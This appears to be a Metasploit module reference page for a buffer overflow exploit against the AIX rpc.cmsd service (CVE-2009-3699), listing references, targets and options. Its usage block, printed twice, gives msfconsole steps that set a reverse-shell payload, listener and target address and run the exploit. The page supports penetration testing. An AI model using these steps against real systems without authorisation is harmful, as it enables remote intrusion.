Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
This module exploits a buffer overflow vulnerability in opcode 21 handled by rpc.cmsd on AIX. By making a request with a long string passed to the first argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This leads to arbitrary code execution. NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where further attempts are not possible.
Rank
- Great
Authors
- Rodrigo Rubira Branco (BSDaemon) < >
- jduck < jduck [at] metasploit.com >
References
- CVE-2009-3699
- OSVDB-58726
- BID-36615
- http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825
- http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc
Exploit Targets
- 0 - IBM AIX Version 5.1 (default)
Development
Similar Modules
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/aix/rpc_cmsd_opcode21
msf exploit(rpc_cmsd_opcode21) > show payloads
msf exploit(rpc_cmsd_opcode21) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(rpc_cmsd_opcode21) > set LHOST [MY IP ADDRESS]
msf exploit(rpc_cmsd_opcode21) > set RHOST [TARGET IP]
msf exploit(rpc_cmsd_opcode21) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/aix/rpc_cmsd_opcode21
msf exploit(rpc_cmsd_opcode21) > show payloads
msf exploit(rpc_cmsd_opcode21) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(rpc_cmsd_opcode21) > set LHOST [MY IP ADDRESS]
msf exploit(rpc_cmsd_opcode21) > set RHOST [TARGET IP]
msf exploit(rpc_cmsd_opcode21) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 111) |
| BruteStep | Step size between brute force attempts |
| BruteWait | Delay between brute force attempts |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| ONCRPC::tcp_request_fragmentation | Enable fragmentation of TCP ONC/RPC requests |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
